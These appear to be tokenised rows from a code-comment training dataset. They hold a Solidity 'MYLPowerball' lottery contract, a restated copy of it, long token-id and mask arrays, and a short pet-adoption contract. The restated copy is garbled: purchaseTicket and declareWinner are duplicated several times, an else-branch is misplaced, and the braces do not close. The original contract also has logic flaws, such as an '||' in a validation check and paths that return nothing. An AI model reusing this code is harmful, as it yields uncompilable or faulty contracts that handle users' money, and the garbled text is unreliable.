-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.5.2;
/**
* @title ERC20 interface
* @dev see https://eips.ethereum.org/EIPS/eip-20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event EtherTransfer(address toAddress, uint256 amount);
}
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error.
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b,"Invalid values");
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0,"Invalid values");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a,"Invalid values");
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a,"Invalid values");
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0,"Invalid values");
return a % b;
}
}
contract MYLPowerball {
using SafeMath for uint256;
address private _owner; // Variable for Owner of the Contract.
uint256 private _ticketPrice; // Variable for price of each ticket (set as 0.01 eth)
uint256 private _purchaseTokenAmount; // variable for Amount of tokens per ticket purchase (set as 10 lotto)
// address private _buyerPoolAddress; // Variable for pool address for tokens for ticket purchase
IERC20 lottoCoin;
constructor (uint256 ticketPrice, uint256 purchaseTokenAmount, address owner, address _poolToken) public {
_ticketPrice = ticketPrice;
_purchaseTokenAmount = purchaseTokenAmount;
_owner = owner;
lottoCoin = IERC20(_poolToken);
}
/*----------------------------------------------------------------------------
* Functions for owner
*----------------------------------------------------------------------------
*/
/**
* @dev get address of smart contract owner
* @return address of owner
*/
function getowner() public view returns (address) {
return _owner;
}
/**
* @dev modifier to check if the message sender is owner
*/
modifier onlyOwner() {
require(isOwner(),"You are not authenticate to make this transfer");
_;
}
// modifier onlyairdropAddress(){
// require(_airdropETHAddress,"");
// _;
// }
/**
* @dev Internal function for modifier
*/
function isOwner() internal view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Transfer ownership of the smart contract. For owner only
* @return request status
*/
function transferOwnership(address newOwner) public onlyOwner returns (bool){
_owner = newOwner;
return true;
}
//Contract for managing business logic for this application
mapping (uint256 => address[]) private allAddressList; //list of all address participating in a saleId
mapping (uint256 => address[]) private winner; //winner address for a saleId
mapping (uint256 => uint256) private winningPowerBallNumber; //winning powerball number by saleId
mapping (uint256 => mapping (address => uint256[])) private ticketNumberByAddress; //user ticket number for a saleId
mapping (uint256 => mapping (uint256 => address[])) private addressesByTicketNumber; //list of addresses for ticketId
mapping (uint256 => mapping (address => uint256)) private totalSaleAmountByAddAndSaleID; //list of addresses for ticketId
mapping (uint256 => uint256) private totalSaleAmount; //total collection for a saleId
mapping (uint256 => uint256[]) private winningAmount; //winning price for a saleId
mapping (uint256 => uint256) private saleStartTimeStamp; //start timestamp for a saleId
mapping (uint256 => uint256) private saleEndTimeStamp; //end timestamp for a saleId
mapping (uint256 => uint256) private saleRunningStatus; //sale running status for a saleId
mapping (uint256 => uint256[]) private winningNumber; //winning lottery number for a saleId
mapping (uint256 => uint256) private saleParticipants; //total number sales per sale session
uint256 private elapsedTime; //variable to set time for powerball winning
uint256 private saleIdNow = 1; //saleIdNow for sale now
address[] private AllParticipantAddresses; //list of all participants participated in the sale
uint256 private totalSaleAmountForAllSales; //total amount including all sales
uint256 private totalDonation; //total donated amount
uint256[] public checkerEmpty;
// //Internal function for checking values for purchaseTicket
// function getNumber(uint256 _number) internal pure returns(uint256){
// return _number.div(6);
// }
/**
* @dev InitiateSmartContractValue
*/
function initiateSmartContractValue(uint256 _elapseTime) public onlyOwner returns(bool){
saleStartTimeStamp[saleIdNow] = now; //Initiate time
saleParticipants[saleIdNow] = 0; //Initiate sale participants
elapsedTime = _elapseTime; //Time for next sale
return true;
}
/**
* @dev perform purchase
* @param _ticketNumbers ticket number from the list in application
*/
function purchaseTicket(uint256 _ticketNumbers, uint256 ticketCount) external payable returns(bool){
if(_ticketNumbers == 0){
totalDonation = totalDonation + 1;
return true;
}
require(msg.value >= ticketCount.mul(_ticketPrice), "Insufficient eth value");
require(_ticketNumbers.div(10**(ticketCount.mul(12))) ==0 && _ticketNumbers.div(10**(ticketCount.mul(12).sub(2))) >0, "Invalid ticket value/count" );
uint256 saleId;
if((saleStartTimeStamp[saleIdNow] + elapsedTime) > now){
saleId = saleIdNow;
} else {
saleId = saleIdNow.add(1);
}
AllParticipantAddresses.push(msg.sender);
totalSaleAmount[saleId] = totalSaleAmount[saleId] + msg.value;
totalSaleAmountForAllSales = totalSaleAmountForAllSales + msg.value;
totalSaleAmountByAddAndSaleID[saleId][msg.sender] = totalSaleAmountByAddAndSaleID[saleId][msg.sender] + msg.value;
ticketNumberByAddress[saleId][msg.sender].push(_ticketNumbers);
if(ticketCount == 5){
lottoCoin.transfer(msg.sender,_purchaseTokenAmount);
allAddressList[saleId].push(msg.sender);
saleParticipants[saleId] = saleParticipants[saleId] + 1;
return true;
}
}
/**
* @dev declare winner for a sale session
*/
function declareWinner(uint256[] calldata _winningSequence, uint256 _powerballNumber, address payable[] calldata _winnerAddressArray, uint256[] calldata _winnerPositions, uint256[] calldata _winnerAmountInWei) external payable onlyOwner returns(bool){
require(_winnerAddressArray.length == _winnerAmountInWei.length || _winnerAmountInWei.length == _winnerPositions.length, "Invalid winner declaration data");
for(uint256 i=0;i<_winnerAddressArray.length;i++){
winner[saleIdNow].push(_winnerAddressArray[i]);
winningAmount[saleIdNow].push(_winnerAmountInWei[i]);
_winnerAddressArray[i].transfer(_winnerAmountInWei[i]);
}
for(uint256 j=0;j<_winningSequence.length;j++){
winningNumber[saleIdNow].push(_winningSequence[j]);
}
winningPowerBallNumber[saleIdNow] = _powerballNumber;
saleEndTimeStamp[saleIdNow] = now;
saleStartTimeStamp[saleIdNow+1] = now;
saleIdNow = saleIdNow +1;
}
/**
* @dev set elapsed time for powerball
*/
function setElapsedTime(uint256 time) public onlyOwner returns(bool){
require(time > 0,"Invalid time provided, Please try Again!!");
elapsedTime = time;
return true;
}
/**
* @dev get elapsed time for powerball
*/
function getElapsedTime() external view returns(uint256){
return elapsedTime;
}
/**
* @dev get winning powerball number
*/
function getWinningPowerballNumberBySaleId(uint256 _saleId) external view returns(uint256){
return winningPowerBallNumber[_saleId];
}
/**
* @dev get current saleId for this session
*/
function getSaleIdNow() external view returns(uint256){
return saleIdNow;
}
/**
* @dev withdraw all eth from the smart contract
*/
function withdrawETHFromContract(uint256 _savingsValue,address payable _savingsReceiver, uint256 _opexValue, address payable _opexReceiver) external onlyOwner returns(bool){
_savingsReceiver.transfer(_savingsValue);
_opexReceiver.transfer(_opexValue);
return true;
}
function withdrawTokenFromContract(address tokenAddress, uint256 amount, address receiver) external onlyOwner {
require(IERC20(tokenAddress).balanceOf(address(this))>= amount, "Insufficient amount to transfer");
IERC20(tokenAddress).transfer(receiver,amount);
}
/**
* @dev get end timeStamp by sale session
*/
function getEndTime(uint256 _saleId) external view returns(uint256){
return saleEndTimeStamp[_saleId] ;
}
/**
* @dev get start timeStamp by sale session
*/
function getStartTime(uint256 _saleId) external view returns(uint256){
return saleStartTimeStamp[_saleId+1];
}
/**
* @dev get winning number by sale ID
*/
function getWinningNumber(uint256 _saleId) external view returns(uint256[] memory){
return winningNumber[_saleId];
}
/**
* @dev get winning amount by sale ID
*/
function getWinningAmount(uint256 _saleId) external view returns(uint256[] memory){
return winningAmount[_saleId];
}
/**
* @dev get winning address by sale ID
*/
function getWinningAddress(uint256 _saleId) external view returns(address[] memory){
return winner[_saleId];
}
/**
* @dev get list of all addresses in the Sale
*/
function getAllSaleAddressesBySaleID(uint256 _saleId) external view returns(address[] memory){
return allAddressList[_saleId];
}
/**
* @dev get list of all addresses in the contract
*/
function getAllParticipantAddresses() external view returns(address[] memory){
return AllParticipantAddresses;
}
/**
* @dev get total sale amount for a sale session
*/
function getTotalSaleAmountBySaleID(uint256 _saleId) external view returns(uint256){
return totalSaleAmount[_saleId];
}
/**
* @dev get total sale amount for all sale session
*/
function getTotalSaleAmountForAllSale() external view returns(uint256){
return totalSaleAmountForAllSales;
}
/**
* @dev get total number of participants by saleId
*/
function getParticipantCountBySaleId(uint256 _saleId) external view returns(uint256){
return saleParticipants[_saleId];
}
/**
* @dev get price of one ticket
*/
function getPriceOfOneTicket() external view returns(uint256){
return _ticketPrice;
}
/**
* @dev set price of one ticket by owner only
* @param _newPrice New price of each token
*/
function setPriceOfOneTicket(uint256 _newPrice) external onlyOwner returns(bool){
_ticketPrice = _newPrice;
return true;
}
/**
* @dev get ticket number for the given address
* @param _saleId Sale id for the sale session
* @param _add New price of each token
*/
function getticketNumberByAddress(uint256 _saleId, address _add) external view returns(uint256[] memory){
return ticketNumberByAddress[_saleId][_add];
}
/**
* @dev get amount of token sent per ticket purchase
*/
function getpurchaseTokenAmount() external view returns(uint256){
return _purchaseTokenAmount;
}
/**
* @dev set amount of token sent per ticket purchase
*/
function setpurchaseTokenAmount(uint256 purchaseTokenAmount) external onlyOwner returns(bool){
_purchaseTokenAmount = purchaseTokenAmount;
return true;
}
/**
* @dev get total eth by user address and saleId
*/
function getTotalSaleAmountByAddAndSaleID(uint256 _saleId, address _userAddress) external view returns(uint256){
return totalSaleAmountByAddAndSaleID[_saleId][_userAddress];
}
} | address private _buyerPoolAddress; Variable for pool address for tokens for ticket purchase | contract MYLPowerball {
using SafeMath for uint256;
IERC20 lottoCoin;
constructor (uint256 ticketPrice, uint256 purchaseTokenAmount, address owner, address _poolToken) public {
_ticketPrice = ticketPrice;
_purchaseTokenAmount = purchaseTokenAmount;
_owner = owner;
lottoCoin = IERC20(_poolToken);
}
function getowner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(),"You are not authenticate to make this transfer");
_;
}
function isOwner() internal view returns (bool) {
return msg.sender == _owner;
}
function transferOwnership(address newOwner) public onlyOwner returns (bool){
_owner = newOwner;
return true;
}
uint256[] public checkerEmpty;
function initiateSmartContractValue(uint256 _elapseTime) public onlyOwner returns(bool){
return true;
}
function purchaseTicket(uint256 _ticketNumbers, uint256 ticketCount) external payable returns(bool){
if(_ticketNumbers == 0){
totalDonation = totalDonation + 1;
return true;
}
require(msg.value >= ticketCount.mul(_ticketPrice), "Insufficient eth value");
require(_ticketNumbers.div(10**(ticketCount.mul(12))) ==0 && _ticketNumbers.div(10**(ticketCount.mul(12).sub(2))) >0, "Invalid ticket value/count" );
uint256 saleId;
if((saleStartTimeStamp[saleIdNow] + elapsedTime) > now){
saleId = saleIdNow;
saleId = saleIdNow.add(1);
}
AllParticipantAddresses.push(msg.sender);
totalSaleAmount[saleId] = totalSaleAmount[saleId] + msg.value;
totalSaleAmountForAllSales = totalSaleAmountForAllSales + msg.value;
totalSaleAmountByAddAndSaleID[saleId][msg.sender] = totalSaleAmountByAddAndSaleID[saleId][msg.sender] + msg.value;
ticketNumberByAddress[saleId][msg.sender].push(_ticketNumbers);
if(ticketCount == 5){
lottoCoin.transfer(msg.sender,_purchaseTokenAmount);
allAddressList[saleId].push(msg.sender);
saleParticipants[saleId] = saleParticipants[saleId] + 1;
return true;
}
}
function purchaseTicket(uint256 _ticketNumbers, uint256 ticketCount) external payable returns(bool){
if(_ticketNumbers == 0){
totalDonation = totalDonation + 1;
return true;
}
require(msg.value >= ticketCount.mul(_ticketPrice), "Insufficient eth value");
require(_ticketNumbers.div(10**(ticketCount.mul(12))) ==0 && _ticketNumbers.div(10**(ticketCount.mul(12).sub(2))) >0, "Invalid ticket value/count" );
uint256 saleId;
if((saleStartTimeStamp[saleIdNow] + elapsedTime) > now){
saleId = saleIdNow;
saleId = saleIdNow.add(1);
}
AllParticipantAddresses.push(msg.sender);
totalSaleAmount[saleId] = totalSaleAmount[saleId] + msg.value;
totalSaleAmountForAllSales = totalSaleAmountForAllSales + msg.value;
totalSaleAmountByAddAndSaleID[saleId][msg.sender] = totalSaleAmountByAddAndSaleID[saleId][msg.sender] + msg.value;
ticketNumberByAddress[saleId][msg.sender].push(_ticketNumbers);
if(ticketCount == 5){
lottoCoin.transfer(msg.sender,_purchaseTokenAmount);
allAddressList[saleId].push(msg.sender);
saleParticipants[saleId] = saleParticipants[saleId] + 1;
return true;
}
}
function purchaseTicket(uint256 _ticketNumbers, uint256 ticketCount) external payable returns(bool){
if(_ticketNumbers == 0){
totalDonation = totalDonation + 1;
return true;
}
require(msg.value >= ticketCount.mul(_ticketPrice), "Insufficient eth value");
require(_ticketNumbers.div(10**(ticketCount.mul(12))) ==0 && _ticketNumbers.div(10**(ticketCount.mul(12).sub(2))) >0, "Invalid ticket value/count" );
uint256 saleId;
if((saleStartTimeStamp[saleIdNow] + elapsedTime) > now){
saleId = saleIdNow;
saleId = saleIdNow.add(1);
}
AllParticipantAddresses.push(msg.sender);
totalSaleAmount[saleId] = totalSaleAmount[saleId] + msg.value;
totalSaleAmountForAllSales = totalSaleAmountForAllSales + msg.value;
totalSaleAmountByAddAndSaleID[saleId][msg.sender] = totalSaleAmountByAddAndSaleID[saleId][msg.sender] + msg.value;
ticketNumberByAddress[saleId][msg.sender].push(_ticketNumbers);
if(ticketCount == 5){
lottoCoin.transfer(msg.sender,_purchaseTokenAmount);
allAddressList[saleId].push(msg.sender);
saleParticipants[saleId] = saleParticipants[saleId] + 1;
return true;
}
}
} else {
function purchaseTicket(uint256 _ticketNumbers, uint256 ticketCount) external payable returns(bool){
if(_ticketNumbers == 0){
totalDonation = totalDonation + 1;
return true;
}
require(msg.value >= ticketCount.mul(_ticketPrice), "Insufficient eth value");
require(_ticketNumbers.div(10**(ticketCount.mul(12))) ==0 && _ticketNumbers.div(10**(ticketCount.mul(12).sub(2))) >0, "Invalid ticket value/count" );
uint256 saleId;
if((saleStartTimeStamp[saleIdNow] + elapsedTime) > now){
saleId = saleIdNow;
saleId = saleIdNow.add(1);
}
AllParticipantAddresses.push(msg.sender);
totalSaleAmount[saleId] = totalSaleAmount[saleId] + msg.value;
totalSaleAmountForAllSales = totalSaleAmountForAllSales + msg.value;
totalSaleAmountByAddAndSaleID[saleId][msg.sender] = totalSaleAmountByAddAndSaleID[saleId][msg.sender] + msg.value;
ticketNumberByAddress[saleId][msg.sender].push(_ticketNumbers);
if(ticketCount == 5){
lottoCoin.transfer(msg.sender,_purchaseTokenAmount);
allAddressList[saleId].push(msg.sender);
saleParticipants[saleId] = saleParticipants[saleId] + 1;
return true;
}
}
function declareWinner(uint256[] calldata _winningSequence, uint256 _powerballNumber, address payable[] calldata _winnerAddressArray, uint256[] calldata _winnerPositions, uint256[] calldata _winnerAmountInWei) external payable onlyOwner returns(bool){
require(_winnerAddressArray.length == _winnerAmountInWei.length || _winnerAmountInWei.length == _winnerPositions.length, "Invalid winner declaration data");
for(uint256 i=0;i<_winnerAddressArray.length;i++){
winner[saleIdNow].push(_winnerAddressArray[i]);
winningAmount[saleIdNow].push(_winnerAmountInWei[i]);
_winnerAddressArray[i].transfer(_winnerAmountInWei[i]);
}
for(uint256 j=0;j<_winningSequence.length;j++){
winningNumber[saleIdNow].push(_winningSequence[j]);
}
winningPowerBallNumber[saleIdNow] = _powerballNumber;
saleEndTimeStamp[saleIdNow] = now;
saleStartTimeStamp[saleIdNow+1] = now;
saleIdNow = saleIdNow +1;
}
function declareWinner(uint256[] calldata _winningSequence, uint256 _powerballNumber, address payable[] calldata _winnerAddressArray, uint256[] calldata _winnerPositions, uint256[] calldata _winnerAmountInWei) external payable onlyOwner returns(bool){
require(_winnerAddressArray.length == _winnerAmountInWei.length || _winnerAmountInWei.length == _winnerPositions.length, "Invalid winner declaration data");
for(uint256 i=0;i<_winnerAddressArray.length;i++){
winner[saleIdNow].push(_winnerAddressArray[i]);
winningAmount[saleIdNow].push(_winnerAmountInWei[i]);
_winnerAddressArray[i].transfer(_winnerAmountInWei[i]);
}
for(uint256 j=0;j<_winningSequence.length;j++){
winningNumber[saleIdNow].push(_winningSequence[j]);
}
winningPowerBallNumber[saleIdNow] = _powerballNumber;
saleEndTimeStamp[saleIdNow] = now;
saleStartTimeStamp[saleIdNow+1] = now;
saleIdNow = saleIdNow +1;
}
function declareWinner(uint256[] calldata _winningSequence, uint256 _powerballNumber, address payable[] calldata _winnerAddressArray, uint256[] calldata _winnerPositions, uint256[] calldata _winnerAmountInWei) external payable onlyOwner returns(bool){
require(_winnerAddressArray.length == _winnerAmountInWei.length || _winnerAmountInWei.length == _winnerPositions.length, "Invalid winner declaration data");
for(uint256 i=0;i<_winnerAddressArray.length;i++){
winner[saleIdNow].push(_winnerAddressArray[i]);
winningAmount[saleIdNow].push(_winnerAmountInWei[i]);
_winnerAddressArray[i].transfer(_winnerAmountInWei[i]);
}
for(uint256 j=0;j<_winningSequence.length;j++){
winningNumber[saleIdNow].push(_winningSequence[j]);
}
winningPowerBallNumber[saleIdNow] = _powerballNumber;
saleEndTimeStamp[saleIdNow] = now;
saleStartTimeStamp[saleIdNow+1] = now;
saleIdNow = saleIdNow +1;
}
function setElapsedTime(uint256 time) public onlyOwner returns(bool){
require(time > 0,"Invalid time provided, Please try Again!!");
elapsedTime = time;
return true;
}
function getElapsedTime() external view returns(uint256){
return elapsedTime;
}
function getWinningPowerballNumberBySaleId(uint256 _saleId) external view returns(uint256){
return winningPowerBallNumber[_saleId];
}
function getSaleIdNow() external view returns(uint256){
return saleIdNow;
}
function withdrawETHFromContract(uint256 _savingsValue,address payable _savingsReceiver, uint256 _opexValue, address payable _opexReceiver) external onlyOwner returns(bool){
_savingsReceiver.transfer(_savingsValue);
_opexReceiver.transfer(_opexValue);
return true;
}
function withdrawTokenFromContract(address tokenAddress, uint256 amount, address receiver) external onlyOwner {
require(IERC20(tokenAddress).balanceOf(address(this))>= amount, "Insufficient amount to transfer");
IERC20(tokenAddress).transfer(receiver,amount);
}
function getEndTime(uint256 _saleId) external view returns(uint256){
return saleEndTimeStamp[_saleId] ;
}
function getStartTime(uint256 _saleId) external view returns(uint256){
return saleStartTimeStamp[_saleId+1];
}
function getWinningNumber(uint256 _saleId) external view returns(uint256[] memory){
return winningNumber[_saleId];
}
function getWinningAmount(uint256 _saleId) external view returns(uint256[] memory){
return winningAmount[_saleId];
}
function getWinningAddress(uint256 _saleId) external view returns(address[] memory){
return winner[_saleId];
}
function getAllSaleAddressesBySaleID(uint256 _saleId) external view returns(address[] memory){
return allAddressList[_saleId];
}
function getAllParticipantAddresses() external view returns(address[] memory){
return AllParticipantAddresses;
}
function getTotalSaleAmountBySaleID(uint256 _saleId) external view returns(uint256){
return totalSaleAmount[_saleId];
}
function getTotalSaleAmountForAllSale() external view returns(uint256){
return totalSaleAmountForAllSales;
}
function getParticipantCountBySaleId(uint256 _saleId) external view returns(uint256){
return saleParticipants[_saleId];
}
function getPriceOfOneTicket() external view returns(uint256){
return _ticketPrice;
}
function setPriceOfOneTicket(uint256 _newPrice) external onlyOwner returns(bool){
_ticketPrice = _newPrice;
return true;
}
function getticketNumberByAddress(uint256 _saleId, address _add) external view returns(uint256[] memory){
return ticketNumberByAddress[_saleId][_add];
}
function getpurchaseTokenAmount() external view returns(uint256){
return _purchaseTokenAmount;
}
function setpurchaseTokenAmount(uint256 purchaseTokenAmount) external onlyOwner returns(bool){
_purchaseTokenAmount = purchaseTokenAmount;
return true;
}
function getTotalSaleAmountByAddAndSaleID(uint256 _saleId, address _userAddress) external view returns(uint256){
return totalSaleAmountByAddAndSaleID[_saleId][_userAddress];
}
} | 14,834,881 | [
1,
2867,
3238,
389,
70,
16213,
2864,
1887,
31,
15604,
7110,
364,
2845,
1758,
364,
2430,
364,
9322,
23701,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
22069,
48,
13788,
19067,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
377,
203,
565,
467,
654,
39,
3462,
17417,
869,
27055,
31,
203,
203,
203,
203,
565,
3885,
261,
11890,
5034,
9322,
5147,
16,
2254,
5034,
23701,
1345,
6275,
16,
1758,
3410,
16,
1758,
389,
6011,
1345,
13,
1071,
288,
203,
3639,
389,
16282,
5147,
273,
9322,
5147,
31,
203,
3639,
389,
12688,
12104,
1345,
6275,
273,
23701,
1345,
6275,
31,
203,
3639,
389,
8443,
273,
3410,
31,
203,
3639,
17417,
869,
27055,
273,
467,
654,
39,
3462,
24899,
6011,
1345,
1769,
203,
565,
289,
203,
203,
203,
565,
445,
336,
8443,
1435,
1071,
1476,
1135,
261,
2867,
13,
288,
203,
3639,
327,
389,
8443,
31,
203,
565,
289,
203,
203,
565,
9606,
1338,
5541,
1435,
288,
203,
3639,
2583,
12,
291,
5541,
9334,
6,
6225,
854,
486,
8929,
358,
1221,
333,
7412,
8863,
203,
3639,
389,
31,
203,
565,
289,
203,
377,
203,
203,
565,
445,
353,
5541,
1435,
2713,
1476,
1135,
261,
6430,
13,
288,
203,
3639,
327,
1234,
18,
15330,
422,
389,
8443,
31,
203,
565,
289,
203,
203,
565,
445,
7412,
5460,
12565,
12,
2867,
394,
5541,
13,
1071,
1338,
5541,
1135,
261,
6430,
15329,
203,
3639,
389,
8443,
273,
394,
5541,
31,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
203,
203,
377,
203,
377,
203,
565,
2254,
5034,
8526,
1071,
12489,
1921,
31,
203,
377,
203,
203,
377,
203,
377,
203,
203,
565,
445,
18711,
23824,
8924,
620,
12,
11890,
5034,
389,
2
]
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.9.0;
contract adoption {
address[16] public petAdopters; //pets.json file total pets are 16
function getAdopters() public view returns(address[16] memory)
{
return petAdopters;
}
function adopt(uint petId) public returns(uint)
{
require (petId>=0 && petId<=15) ; //should not use if statement because in third test case, it would not receive any error for if statement
petAdopters[petId]=msg.sender;
return petId;
}
}
| should not use if statement because in third test case, it would not receive any error for if statement
| require (petId>=0 && petId<=15) ; | 12,689,982 | [
1,
13139,
486,
999,
309,
3021,
2724,
316,
12126,
1842,
648,
16,
518,
4102,
486,
6798,
1281,
555,
364,
309,
3021,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
2583,
261,
6951,
548,
34,
33,
20,
597,
293,
278,
548,
32,
33,
3600,
13,
274,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.5.16;
import '../core/Ownable.sol';
import '../accesscontrol/GrowerRole.sol';
import '../accesscontrol/TesterRole.sol';
import '../accesscontrol/DistributorRole.sol';
import '../accesscontrol/RetailerRole.sol';
import '../accesscontrol/ConsumerRole.sol';
